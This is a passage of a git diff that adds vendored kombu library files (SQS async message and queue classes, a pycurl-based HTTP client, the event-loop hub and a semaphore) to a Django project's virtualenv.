+ +from kombu.message import Message +from kombu.utils.encoding import str_to_bytes + + +class BaseAsyncMessage(Message): + """Base class for messages received on async client.""" + + +class AsyncRawMessage(BaseAsyncMessage): + """Raw Message.""" + + +class AsyncMessage(BaseAsyncMessage): + """Serialized message.""" + + def encode(self, value): + """Encode/decode the value using Base64 encoding.""" + return base64.b64encode(str_to_bytes(value)).decode() + + def __getitem__(self, item): + """Support Boto3-style access on a message.""" + if item == 'ReceiptHandle': + return self.receipt_handle + elif item == 'Body': + return self.get_body() + elif item == 'queue': + return self.queue + else: + raise KeyError(item) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/queue.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/queue.py new file mode 100644 index 00000000..facd9588 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/queue.py @@ -0,0 +1,128 @@ +"""Amazon SQS queue implementation.""" + +from vine import transform + +from .message import AsyncMessage + +_all__ = ['AsyncQueue'] + + +def list_first(rs): + """Get the first item in a list, or None if list empty.""" + return rs[0] if len(rs) == 1 else None + + +class AsyncQueue: + """Async SQS Queue.""" + + def __init__(self, connection=None, url=None, message_class=AsyncMessage): + self.connection = connection + self.url = url + self.message_class = message_class + self.visibility_timeout = None + + def _NA(self, *args, **kwargs): + raise NotImplementedError() + count_slow = dump = save_to_file = save_to_filename = save = \ + save_to_s3 = load_from_s3 = load_from_file = load_from_filename = \ + load = clear = _NA + + def get_attributes(self, attributes='All', callback=None): + return self.connection.get_queue_attributes( + self, attributes, callback, + ) + + def set_attribute(self, attribute, value, callback=None): + return self.connection.set_queue_attribute( + self, attribute, value, callback, + ) + + def get_timeout(self, callback=None, _attr='VisibilityTimeout'): + return self.get_attributes( + _attr, transform( + self._coerce_field_value, callback, _attr, int, + ), + ) + + def _coerce_field_value(self, key, type, response): + return type(response[key]) + + def set_timeout(self, visibility_timeout, callback=None): + return self.set_attribute( + 'VisibilityTimeout', visibility_timeout, + transform( + self._on_timeout_set, callback, + ) + ) + + def _on_timeout_set(self, visibility_timeout): + if visibility_timeout: + self.visibility_timeout = visibility_timeout + return self.visibility_timeout + + def add_permission(self, label, aws_account_id, action_name, + callback=None): + return self.connection.add_permission( + self, label, aws_account_id, action_name, callback, + ) + + def remove_permission(self, label, callback=None): + return self.connection.remove_permission(self, label, callback) + + def read(self, visibility_timeout=None, wait_time_seconds=None, + callback=None): + return self.get_messages( + 1, visibility_timeout, + wait_time_seconds=wait_time_seconds, + callback=transform(list_first, callback), + ) + + def write(self, message, delay_seconds=None, callback=None): + return self.connection.send_message( + self, message.get_body_encoded(), delay_seconds, + callback=transform(self._on_message_sent, callback, message), + ) + + def write_batch(self, messages, callback=None): + return self.connection.send_message_batch( + self, messages, callback=callback, + ) + + def _on_message_sent(self, orig_message, new_message): + orig_message.id = new_message.id + orig_message.md5 = new_message.md5 + return new_message + + def get_messages(self, num_messages=1, visibility_timeout=None, + attributes=None, wait_time_seconds=None, callback=None): + return self.connection.receive_message( + self, number_messages=num_messages, + visibility_timeout=visibility_timeout, + attributes=attributes, + wait_time_seconds=wait_time_seconds, + callback=callback, + ) + + def delete_message(self, message, callback=None): + return self.connection.delete_message(self, message, callback) + + def delete_message_batch(self, messages, callback=None): + return self.connection.delete_message_batch( + self, messages, callback=callback, + ) + + def change_message_visibility_batch(self, messages, callback=None): + return self.connection.change_message_visibility_batch( + self, messages, callback=callback, + ) + + def delete(self, callback=None): + return self.connection.delete_queue(self, callback=callback) + + def count(self, page_size=10, vtimeout=10, callback=None, + _attr='ApproximateNumberOfMessages'): + return self.get_attributes( + _attr, callback=transform( + self._coerce_field_value, callback, _attr, int, + ), + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/debug.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/debug.py new file mode 100644 index 00000000..4fabb452 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/debug.py @@ -0,0 +1,65 @@ +"""Event-loop debugging tools.""" + +from kombu.utils.eventio import ERR, READ, WRITE +from kombu.utils.functional import reprcall + + +def repr_flag(flag): + """Return description of event loop flag.""" + return '{}{}{}'.format('R' if flag & READ else '', + 'W' if flag & WRITE else '', + '!' if flag & ERR else '') + + +def _rcb(obj): + if obj is None: + return '' + if isinstance(obj, str): + return obj + if isinstance(obj, tuple): + cb, args = obj + return reprcall(cb.__name__, args=args) + return obj.__name__ + + +def repr_active(h): + """Return description of active readers and writers.""" + return ', '.join(repr_readers(h) + repr_writers(h)) + + +def repr_events(h, events): + """Return description of events returned by poll.""" + return ', '.join( + '{}({})->{}'.format( + _rcb(callback_for(h, fd, fl, '(GONE)')), fd, + repr_flag(fl), + ) + for fd, fl in events + ) + + +def repr_readers(h): + """Return description of pending readers.""" + return [f'({fd}){_rcb(cb)}->{repr_flag(READ | ERR)}' + for fd, cb in h.readers.items()] + + +def repr_writers(h): + """Return description of pending writers.""" + return [f'({fd}){_rcb(cb)}->{repr_flag(WRITE)}' + for fd, cb in h.writers.items()] + + +def callback_for(h, fd, flag, *default): + """Return the callback used for hub+fd+flag.""" + try: + if flag & READ: + return h.readers[fd] + if flag & WRITE: + if fd in h.consolidate: + return h.consolidate_callback + return h.writers[fd] + except KeyError: + if default: + return default[0] + raise diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/__init__.py new file mode 100644 index 00000000..1c45ebca --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/__init__.py @@ -0,0 +1,21 @@ +from kombu.asynchronous import get_event_loop + +from .base import Headers, Request, Response + +__all__ = ('Client', 'Headers', 'Response', 'Request') + + +def Client(hub=None, **kwargs): + """Create new HTTP client.""" + from .curl import CurlClient + return CurlClient(hub, **kwargs) + + +def get_client(hub=None, **kwargs): + """Get or create HTTP client bound to the current event loop.""" + hub = hub or get_event_loop() + try: + return hub._current_http_client + except AttributeError: + client = hub._current_http_client = Client(hub, **kwargs) + return client diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/base.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/base.py new file mode 100644 index 00000000..2bd28076 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/base.py @@ -0,0 +1,257 @@ +"""Base async HTTP client implementation.""" + +import sys +from http.client import responses + +from vine import Thenable, maybe_promise, promise + +from kombu.exceptions import HttpError +from kombu.utils.compat import coro +from kombu.utils.encoding import bytes_to_str +from kombu.utils.functional import maybe_list, memoize + +__all__ = ('Headers', 'Response', 'Request') + +PYPY = hasattr(sys, 'pypy_version_info') + + +@memoize(maxsize=1000) +def normalize_header(key): + return '-'.join(p.capitalize() for p in key.split('-')) + + +class Headers(dict): + """Represents a mapping of HTTP headers.""" + + # TODO: This is just a regular dict and will not perform normalization + # when looking up keys etc. + + #: Set when all of the headers have been read. + complete = False + + #: Internal attribute used to keep track of continuation lines. + _prev_key = None + + +@Thenable.register +class Request: + """A HTTP Request. + + Arguments: + url (str): The URL to request. + method (str): The HTTP method to use (defaults to ``GET``). + + Keyword Arguments: + headers (Dict, ~kombu.asynchronous.http.Headers): Optional headers for + this request + body (str): Optional body for this request. + connect_timeout (float): Connection timeout in float seconds + Default is 30.0. + timeout (float): Time in float seconds before the request times out + Default is 30.0. + follow_redirects (bool): Specify if the client should follow redirects + Enabled by default. + max_redirects (int): Maximum number of redirects (default 6). + use_gzip (bool): Allow the server to use gzip compression. + Enabled by default. + validate_cert (bool): Set to true if the server certificate should be + verified when performing ``https://`` requests. + Enabled by default. + auth_username (str): Username for HTTP authentication. + auth_password (str): Password for HTTP authentication. + auth_mode (str): Type of HTTP authentication (``basic`` or ``digest``). + user_agent (str): Custom user agent for this request. + network_interface (str): Network interface to use for this request. + on_ready (Callable): Callback to be called when the response has been + received. Must accept single ``response`` argument. + on_stream (Callable): Optional callback to be called every time body + content has been read from the socket. If specified then the + response body and buffer attributes will not be available. + on_timeout (callable): Optional callback to be called if the request + times out. + on_header (Callable): Optional callback to be called for every header + line received from the server. The signature + is ``(headers, line)`` and note that if you want + ``response.headers`` to be populated then your callback needs to + also call ``client.on_header(headers, line)``. + on_prepare (Callable): Optional callback that is implementation + specific (e.g. curl client will pass the ``curl`` instance to + this callback). + proxy_host (str): Optional proxy host. Note that a ``proxy_port`` must + also be provided or a :exc:`ValueError` will be raised. + proxy_username (str): Optional username to use when logging in + to the proxy. + proxy_password (str): Optional password to use when authenticating + with the proxy server. + ca_certs (str): Custom CA certificates file to use. + client_key (str): Optional filename for client SSL key. + client_cert (str): Optional filename for client SSL certificate. + """ + + body = user_agent = network_interface = \ + auth_username = auth_password = auth_mode = \ + proxy_host = proxy_port = proxy_username = proxy_password = \ + ca_certs = client_key = client_cert = None + + connect_timeout = 30.0 + request_timeout = 30.0 + follow_redirects = True + max_redirects = 6 + use_gzip = True + validate_cert = True + + if not PYPY: # pragma: no cover + __slots__ = ('url', 'method', 'on_ready', 'on_timeout', 'on_stream', + 'on_prepare', 'on_header', 'headers', + '__weakref__', '__dict__') + + def __init__(self, url, method='GET', on_ready=None, on_timeout=None, + on_stream=None, on_prepare=None, on_header=None, + headers=None, **kwargs): + self.url = url + self.method = method or self.method + self.on_ready = maybe_promise(on_ready) or promise() + self.on_timeout = maybe_promise(on_timeout) + self.on_stream = maybe_promise(on_stream) + self.on_prepare = maybe_promise(on_prepare) + self.on_header = maybe_promise(on_header) + if kwargs: + for k, v in kwargs.items(): + setattr(self, k, v) + if not isinstance(headers, Headers): + headers = Headers(headers or {}) + self.headers = headers + + def then(self, callback, errback=None): + self.on_ready.then(callback, errback) + + def __repr__(self): + return ''.format(self) + + +class Response: + """HTTP Response. + + Arguments: + request (~kombu.asynchronous.http.Request): See :attr:`request`. + code (int): See :attr:`code`. + headers (~kombu.asynchronous.http.Headers): See :attr:`headers`. + buffer (bytes): See :attr:`buffer` + effective_url (str): See :attr:`effective_url`. + status (str): See :attr:`status`. + + Attributes: + request (~kombu.asynchronous.http.Request): object used to + get this response. + code (int): HTTP response code (e.g. 200, 404, or 500). + headers (~kombu.asynchronous.http.Headers): HTTP headers + for this response. + buffer (bytes): Socket read buffer. + effective_url (str): The destination url for this request after + following redirects. + error (Exception): Error instance if the request resulted in + a HTTP error code. + status (str): Human equivalent of :attr:`code`, + e.g. ``OK``, `Not found`, or 'Internal Server Error'. + """ + + if not PYPY: # pragma: no cover + __slots__ = ('request', 'code', 'headers', 'buffer', 'effective_url', + 'error', 'status', '_body', '__weakref__') + + def __init__(self, request, code, headers=None, buffer=None, + effective_url=None, error=None, status=None): + self.request = request + self.code = code + self.headers = headers if headers is not None else Headers() + self.buffer = buffer + self.effective_url = effective_url or request.url + self._body = None + + self.status = status or responses.get(self.code, 'Unknown') + self.error = error + if self.error is None and (self.code < 200 or self.code > 299): + self.error = HttpError(self.code, self.status, self) + + def raise_for_error(self): + """Raise if the request resulted in an HTTP error code. + + Raises: + :class:`~kombu.exceptions.HttpError` + """ + if self.error: + raise self.error + + @property + def body(self): + """The full contents of the response body. + + Note: + Accessing this property will evaluate the buffer + and subsequent accesses will be cached. + """ + if self._body is None: + if self.buffer is not None: + self._body = self.buffer.getvalue() + return self._body + + # these are for compatibility with Requests + @property + def status_code(self): + return self.code + + @property + def content(self): + return self.body + + +@coro +def header_parser(keyt=normalize_header): + while 1: + (line, headers) = yield + if line.startswith('HTTP/'): + continue + elif not line: + headers.complete = True + continue + elif line[0].isspace(): + pkey = headers._prev_key + headers[pkey] = ' '.join([headers.get(pkey) or '', line.lstrip()]) + else: + key, value = line.split(':', 1) + key = headers._prev_key = keyt(key) + headers[key] = value.strip() + + +class BaseClient: + Headers = Headers + Request = Request + Response = Response + + def __init__(self, hub, **kwargs): + self.hub = hub + self._header_parser = header_parser() + + def perform(self, request, **kwargs): + for req in maybe_list(request) or []: + if not isinstance(req, self.Request): + req = self.Request(req, **kwargs) + self.add_request(req) + + def add_request(self, request): + raise NotImplementedError('must implement add_request') + + def close(self): + pass + + def on_header(self, headers, line): + try: + self._header_parser.send((bytes_to_str(line), headers)) + except StopIteration: + self._header_parser = header_parser() + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/curl.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/curl.py new file mode 100644 index 00000000..bd45c893 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/http/curl.py @@ -0,0 +1,287 @@ +"""HTTP Client using pyCurl.""" + +from collections import deque +from functools import partial +from io import BytesIO +from time import time + +from kombu.asynchronous.hub import READ, WRITE, get_event_loop +from kombu.exceptions import HttpError +from kombu.utils.encoding import bytes_to_str + +from .base import BaseClient + +try: + import pycurl +except ImportError: # pragma: no cover + pycurl = Curl = METH_TO_CURL = None +else: + from pycurl import Curl + + METH_TO_CURL = { + 'GET': pycurl.HTTPGET, + 'POST': pycurl.POST, + 'PUT': pycurl.UPLOAD, + 'HEAD': pycurl.NOBODY, + } + +__all__ = ('CurlClient',) + +DEFAULT_USER_AGENT = 'Mozilla/5.0 (compatible; pycurl)' +EXTRA_METHODS = frozenset(['DELETE', 'OPTIONS', 'PATCH']) + + +class CurlClient(BaseClient): + """Curl HTTP Client.""" + + Curl = Curl + + def __init__(self, hub=None, max_clients=10): + if pycurl is None: + raise ImportError('The curl client requires the pycurl library.') + hub = hub or get_event_loop() + super().__init__(hub) + self.max_clients = max_clients + + self._multi = pycurl.CurlMulti() + self._multi.setopt(pycurl.M_TIMERFUNCTION, self._set_timeout) + self._multi.setopt(pycurl.M_SOCKETFUNCTION, self._handle_socket) + self._curls = [self.Curl() for i in range(max_clients)] + self._free_list = self._curls[:] + self._pending = deque() + self._fds = {} + + self._socket_action = self._multi.socket_action + self._timeout_check_tref = self.hub.call_repeatedly( + 1.0, self._timeout_check, + ) + + # pycurl 7.29.0 workaround + dummy_curl_handle = pycurl.Curl() + self._multi.add_handle(dummy_curl_handle) + self._multi.remove_handle(dummy_curl_handle) + + def close(self): + self._timeout_check_tref.cancel() + for _curl in self._curls: + _curl.close() + self._multi.close() + + def add_request(self, request): + self._pending.append(request) + self._process_queue() + self._set_timeout(0) + return request + + # the next two methods are used for linux/epoll workaround: + # we temporarily remove all curl fds from hub, so curl cannot + # close a fd which is still inside epoll + def _pop_from_hub(self): + for fd in self._fds: + self.hub.remove(fd) + + def _push_to_hub(self): + for fd, events in self._fds.items(): + if events & READ: + self.hub.add_reader(fd, self.on_readable, fd) + if events & WRITE: + self.hub.add_writer(fd, self.on_writable, fd) + + def _handle_socket(self, event, fd, multi, data, _pycurl=pycurl): + if event == _pycurl.POLL_REMOVE: + if fd in self._fds: + self._fds.pop(fd, None) + else: + if event == _pycurl.POLL_IN: + self._fds[fd] = READ + elif event == _pycurl.POLL_OUT: + self._fds[fd] = WRITE + elif event == _pycurl.POLL_INOUT: + self._fds[fd] = READ | WRITE + + def _set_timeout(self, msecs): + self.hub.call_later(msecs, self._timeout_check) + + def _timeout_check(self, _pycurl=pycurl): + self._pop_from_hub() + try: + while 1: + try: + ret, _ = self._multi.socket_all() + except pycurl.error as exc: + ret = exc.args[0] + if ret != _pycurl.E_CALL_MULTI_PERFORM: + break + finally: + self._push_to_hub() + self._process_pending_requests() + + def on_readable(self, fd, _pycurl=pycurl): + return self._on_event(fd, _pycurl.CSELECT_IN) + + def on_writable(self, fd, _pycurl=pycurl): + return self._on_event(fd, _pycurl.CSELECT_OUT) + + def _on_event(self, fd, event, _pycurl=pycurl): + self._pop_from_hub() + try: + while 1: + try: + ret, _ = self._socket_action(fd, event) + except pycurl.error as exc: + ret = exc.args[0] + if ret != _pycurl.E_CALL_MULTI_PERFORM: + break + finally: + self._push_to_hub() + self._process_pending_requests() + + def _process_pending_requests(self): + while 1: + q, succeeded, failed = self._multi.info_read() + for curl in succeeded: + self._process(curl) + for curl, errno, reason in failed: + self._process(curl, errno, reason) + if q == 0: + break + self._process_queue() + + def _process_queue(self): + while 1: + started = 0 + while self._free_list and self._pending: + started += 1 + curl = self._free_list.pop() + request = self._pending.popleft() + headers = self.Headers() + buf = BytesIO() + curl.info = { + 'headers': headers, + 'buffer': buf, + 'request': request, + 'curl_start_time': time(), + } + self._setup_request(curl, request, buf, headers) + self._multi.add_handle(curl) + if not started: + break + + def _process(self, curl, errno=None, reason=None, _pycurl=pycurl): + info, curl.info = curl.info, None + self._multi.remove_handle(curl) + self._free_list.append(curl) + buffer = info['buffer'] + if errno: + code = 599 + error = HttpError(code, reason) + error.errno = errno + effective_url = None + buffer.close() + buffer = None + else: + error = None + code = curl.getinfo(_pycurl.HTTP_CODE) + effective_url = curl.getinfo(_pycurl.EFFECTIVE_URL) + buffer.seek(0) + # try: + request = info['request'] + request.on_ready(self.Response( + request=request, code=code, headers=info['headers'], + buffer=buffer, effective_url=effective_url, error=error, + )) + + def _setup_request(self, curl, request, buffer, headers, _pycurl=pycurl): + setopt = curl.setopt + setopt(_pycurl.URL, bytes_to_str(request.url)) + + # see tornado curl client + request.headers.setdefault('Expect', '') + request.headers.setdefault('Pragma', '') + + setopt( + _pycurl.HTTPHEADER, + ['{}: {}'.format(*h) for h in request.headers.items()], + ) + + setopt( + _pycurl.HEADERFUNCTION, + partial(request.on_header or self.on_header, request.headers), + ) + setopt( + _pycurl.WRITEFUNCTION, request.on_stream or buffer.write, + ) + setopt( + _pycurl.FOLLOWLOCATION, request.follow_redirects, + ) + setopt( + _pycurl.USERAGENT, + bytes_to_str(request.user_agent or DEFAULT_USER_AGENT), + ) + if request.network_interface: + setopt(_pycurl.INTERFACE, request.network_interface) + setopt( + _pycurl.ENCODING, 'gzip,deflate' if request.use_gzip else 'none', + ) + if request.proxy_host: + if not request.proxy_port: + raise ValueError('Request with proxy_host but no proxy_port') + setopt(_pycurl.PROXY, request.proxy_host) + setopt(_pycurl.PROXYPORT, request.proxy_port) + if request.proxy_username: + setopt(_pycurl.PROXYUSERPWD, '{}:{}'.format( + request.proxy_username, request.proxy_password or '')) + + setopt(_pycurl.SSL_VERIFYPEER, 1 if request.validate_cert else 0) + setopt(_pycurl.SSL_VERIFYHOST, 2 if request.validate_cert else 0) + if request.ca_certs is not None: + setopt(_pycurl.CAINFO, request.ca_certs) + + setopt(_pycurl.IPRESOLVE, pycurl.IPRESOLVE_WHATEVER) + + for meth in METH_TO_CURL.values(): + setopt(meth, False) + try: + meth = METH_TO_CURL[request.method] + except KeyError: + curl.setopt(_pycurl.CUSTOMREQUEST, request.method) + else: + curl.unsetopt(_pycurl.CUSTOMREQUEST) + setopt(meth, True) + + if request.method in ('POST', 'PUT'): + body = request.body.encode('utf-8') if request.body else bytes() + reqbuffer = BytesIO(body) + setopt(_pycurl.READFUNCTION, reqbuffer.read) + if request.method == 'POST': + + def ioctl(cmd): + if cmd == _pycurl.IOCMD_RESTARTREAD: + reqbuffer.seek(0) + setopt(_pycurl.IOCTLFUNCTION, ioctl) + setopt(_pycurl.POSTFIELDSIZE, len(body)) + else: + setopt(_pycurl.INFILESIZE, len(body)) + elif request.method == 'GET': + assert not request.body + + if request.auth_username is not None: + auth_mode = { + 'basic': _pycurl.HTTPAUTH_BASIC, + 'digest': _pycurl.HTTPAUTH_DIGEST + }[request.auth_mode or 'basic'] + setopt(_pycurl.HTTPAUTH, auth_mode) + userpwd = '{}:{}'.format( + request.auth_username, request.auth_password or '', + ) + setopt(_pycurl.USERPWD, userpwd) + else: + curl.unsetopt(_pycurl.USERPWD) + + if request.client_cert is not None: + setopt(_pycurl.SSLCERT, request.client_cert) + if request.client_key is not None: + setopt(_pycurl.SSLKEY, request.client_key) + + if request.on_prepare is not None: + request.on_prepare(curl) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/hub.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/hub.py new file mode 100644 index 00000000..b1f7e241 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/hub.py @@ -0,0 +1,388 @@ +"""Event loop implementation.""" + +import errno +from contextlib import contextmanager +from queue import Empty +from time import sleep +from types import GeneratorType as generator + +from vine import Thenable, promise + +from kombu.log import get_logger +from kombu.utils.compat import fileno +from kombu.utils.eventio import ERR, READ, WRITE, poll +from kombu.utils.objects import cached_property + +from .timer import Timer + +__all__ = ('Hub', 'get_event_loop', 'set_event_loop') +logger = get_logger(__name__) + +_current_loop = None + +W_UNKNOWN_EVENT = """\ +Received unknown event %r for fd %r, please contact support!\ +""" + + +class Stop(BaseException): + """Stops the event loop.""" + + +def _raise_stop_error(): + raise Stop() + + +@contextmanager +def _dummy_context(*args, **kwargs): + yield + + +def get_event_loop(): + """Get current event loop object.""" + return _current_loop + + +def set_event_loop(loop): + """Set the current event loop object.""" + global _current_loop + _current_loop = loop + return loop + + +class Hub: + """Event loop object. + + Arguments: + timer (kombu.asynchronous.Timer): Specify custom timer instance. + """ + + #: Flag set if reading from an fd will not block. + READ = READ + + #: Flag set if writing to an fd will not block. + WRITE = WRITE + + #: Flag set on error, and the fd should be read from asap. + ERR = ERR + + #: List of callbacks to be called when the loop is exiting, + #: applied with the hub instance as sole argument. + on_close = None + + def __init__(self, timer=None): + self.timer = timer if timer is not None else Timer() + + self.readers = {} + self.writers = {} + self.on_tick = set() + self.on_close = set() + self._ready = set() + + self._running = False + self._loop = None + + # The eventloop (in celery.worker.loops) + # will merge fds in this set and then instead of calling + # the callback for each ready fd it will call the + # :attr:`consolidate_callback` with the list of ready_fds + # as an argument. This API is internal and is only + # used by the multiprocessing pool to find inqueues + # that are ready to write. + self.consolidate = set() + self.consolidate_callback = None + + self.propagate_errors = () + + self._create_poller() + + @property + def poller(self): + if not self._poller: + self._create_poller() + return self._poller + + @poller.setter + def poller(self, value): + self._poller = value + + def reset(self): + self.close() + self._create_poller() + + def _create_poller(self): + self._poller = poll() + self._register_fd = self._poller.register + self._unregister_fd = self._poller.unregister + + def _close_poller(self): + if self._poller is not None: + self._poller.close() + self._poller = None + self._register_fd = None + self._unregister_fd = None + + def stop(self): + self.call_soon(_raise_stop_error) + + def __repr__(self): + return ''.format( + id(self), len(self.readers), len(self.writers), + ) + + def fire_timers(self, min_delay=1, max_delay=10, max_timers=10, + propagate=()): + timer = self.timer + delay = None + if timer and timer._queue: + for i in range(max_timers): + delay, entry = next(self.scheduler) + if entry is None: + break + try: + entry() + except propagate: + raise + except (MemoryError, AssertionError): + raise + except OSError as exc: + if exc.errno == errno.ENOMEM: + raise + logger.error('Error in timer: %r', exc, exc_info=1) + except Exception as exc: + logger.error('Error in timer: %r', exc, exc_info=1) + return min(delay or min_delay, max_delay) + + def _remove_from_loop(self, fd): + try: + self._unregister(fd) + finally: + self._discard(fd) + + def add(self, fd, callback, flags, args=(), consolidate=False): + fd = fileno(fd) + try: + self.poller.register(fd, flags) + except ValueError: + self._remove_from_loop(fd) + raise + else: + dest = self.readers if flags & READ else self.writers + if consolidate: + self.consolidate.add(fd) + dest[fd] = None + else: + dest[fd] = callback, args + + def remove(self, fd): + fd = fileno(fd) + self._remove_from_loop(fd) + + def run_forever(self): + self._running = True + try: + while 1: + try: + self.run_once() + except Stop: + break + finally: + self._running = False + + def run_once(self): + try: + next(self.loop) + except StopIteration: + self._loop = None + + def call_soon(self, callback, *args): + if not isinstance(callback, Thenable): + callback = promise(callback, args) + self._ready.add(callback) + return callback + + def call_later(self, delay, callback, *args): + return self.timer.call_after(delay, callback, args) + + def call_at(self, when, callback, *args): + return self.timer.call_at(when, callback, args) + + def call_repeatedly(self, delay, callback, *args): + return self.timer.call_repeatedly(delay, callback, args) + + def add_reader(self, fds, callback, *args): + return self.add(fds, callback, READ | ERR, args) + + def add_writer(self, fds, callback, *args): + return self.add(fds, callback, WRITE, args) + + def remove_reader(self, fd): + writable = fd in self.writers + on_write = self.writers.get(fd) + try: + self._remove_from_loop(fd) + finally: + if writable: + cb, args = on_write + self.add(fd, cb, WRITE, args) + + def remove_writer(self, fd): + readable = fd in self.readers + on_read = self.readers.get(fd) + try: + self._remove_from_loop(fd) + finally: + if readable: + cb, args = on_read + self.add(fd, cb, READ | ERR, args) + + def _unregister(self, fd): + try: + self.poller.unregister(fd) + except (AttributeError, KeyError, OSError): + pass + + def close(self, *args): + [self._unregister(fd) for fd in self.readers] + self.readers.clear() + [self._unregister(fd) for fd in self.writers] + self.writers.clear() + self.consolidate.clear() + self._close_poller() + for callback in self.on_close: + callback(self) + + # Complete remaining todo before Hub close + # Eg: Acknowledge message + # To avoid infinite loop where one of the callables adds items + # to self._ready (via call_soon or otherwise). + # we create new list with current self._ready + todos = list(self._ready) + self._ready = set() + for item in todos: + item() + + def _discard(self, fd): + fd = fileno(fd) + self.readers.pop(fd, None) + self.writers.pop(fd, None) + self.consolidate.discard(fd) + + def on_callback_error(self, callback, exc): + logger.error( + 'Callback %r raised exception: %r', callback, exc, exc_info=1, + ) + + def create_loop(self, + generator=generator, sleep=sleep, min=min, next=next, + Empty=Empty, StopIteration=StopIteration, + KeyError=KeyError, READ=READ, WRITE=WRITE, ERR=ERR): + readers, writers = self.readers, self.writers + poll = self.poller.poll + fire_timers = self.fire_timers + hub_remove = self.remove + scheduled = self.timer._queue + consolidate = self.consolidate + consolidate_callback = self.consolidate_callback + on_tick = self.on_tick + propagate = self.propagate_errors + + while 1: + todo = self._ready + self._ready = set() + + for tick_callback in on_tick: + tick_callback() + + for item in todo: + if item: + item() + + poll_timeout = fire_timers(propagate=propagate) if scheduled else 1 + # print('[[[HUB]]]: %s' % (self.repr_active(),)) + if readers or writers: + to_consolidate = [] + try: + events = poll(poll_timeout) + # print('[EVENTS]: %s' % (self.repr_events(events),)) + except ValueError: # Issue celery/#882 + return + + for fd, event in events or (): + general_error = False + if fd in consolidate and \ + writers.get(fd) is None: + to_consolidate.append(fd) + continue + cb = cbargs = None + + if event & READ: + try: + cb, cbargs = readers[fd] + except KeyError: + self.remove_reader(fd) + continue + elif event & WRITE: + try: + cb, cbargs = writers[fd] + except KeyError: + self.remove_writer(fd) + continue + elif event & ERR: + general_error = True + else: + logger.info(W_UNKNOWN_EVENT, event, fd) + general_error = True + + if general_error: + try: + cb, cbargs = (readers.get(fd) or + writers.get(fd)) + except TypeError: + pass + + if cb is None: + self.remove(fd) + continue + + if isinstance(cb, generator): + try: + next(cb) + except OSError as exc: + if exc.errno != errno.EBADF: + raise + hub_remove(fd) + except StopIteration: + pass + except Exception: + hub_remove(fd) + raise + else: + try: + cb(*cbargs) + except Empty: + pass + if to_consolidate: + consolidate_callback(to_consolidate) + else: + # no sockets yet, startup is probably not done. + sleep(min(poll_timeout, 0.1)) + yield + + def repr_active(self): + from .debug import repr_active + return repr_active(self) + + def repr_events(self, events): + from .debug import repr_events + return repr_events(self, events or []) + + @cached_property + def scheduler(self): + return iter(self.timer) + + @property + def loop(self): + if self._loop is None: + self._loop = self.create_loop() + return self._loop diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/semaphore.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/semaphore.py new file mode 100644 index 00000000..4af1e7f0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/semaphore.py @@ -0,0 +1,100 @@ +"""Semaphores and concurrency primitives.""" + +from collections import deque + +__all__ = ('DummyLock', 'LaxBoundedSemaphore') + + +class LaxBoundedSemaphore: + """Asynchronous Bounded Semaphore. + + Lax means that the value will stay within the specified + range even if released more times than it was acquired. + + Example: + >>> x = LaxBoundedSemaphore(2) + + >>> x.acquire(print, 'HELLO 1') + HELLO 1 + + >>> x.acquire(print, 'HELLO 2') + HELLO 2 + + >>> x.acquire(print, 'HELLO 3') + >>> x._waiters # private, do not access directly + [print, ('HELLO 3',)] + + >>> x.release() + HELLO 3 + """ + + def __init__(self, value): + self.initial_value = self.value = value + self._waiting = deque() + self._add_waiter = self._waiting.append + self._pop_waiter = self._waiting.popleft + + def acquire(self, callback, *partial_args, **partial_kwargs): + """Acquire semaphore. + + This will immediately apply ``callback`` if + the resource is available, otherwise the callback is suspended + until the semaphore is released. + + Arguments: + callback (Callable): The callback to apply. + *partial_args (Any): partial arguments to callback. + """ + value = self.value + if value <= 0: + self._add_waiter((callback, partial_args, partial_kwargs)) + return False + else: + self.value = max(value - 1, 0) + callback(*partial_args, **partial_kwargs) + return True + + def release(self): + """Release semaphore. + + Note: + If there are any waiters this will apply the first waiter + that is waiting for the resource (FIFO order). + """ + try: + waiter, args, kwargs = self._pop_waiter() + except IndexError: + self.value = min(self.value + 1, self.initial_value) + else: + waiter(*args, **kwargs) + + def grow(self, n=1): + """Change the size of the semaphore to accept more users.""" + self.initial_value += n + self.value += n + [self.release() for _ in range(n)] + + def shrink(self, n=1): + """Change the size of the semaphore to accept less users.""" + self.initial_value = max(self.initial_value - n, 0) + self.value = max(self.value - n, 0) + + def clear(self): + """Reset the semaphore, which also wipes out any waiting callbacks.""" + self._waiting.clear() + self.value = self.initial_value + + def __repr__(self): + return '<{} at {:#x} value:{} waiting:{}>'.format( + self.__class__.__name__, id(self), self.value, len(self._waiting), + ) + + +class DummyLock: + """Pretending to be a lock.""" + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + pass diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/timer.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/timer.py new file mode 100644 index 00000000..21ad37c1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/timer.py @@ -0,0 +1,229 @@ +"""Timer 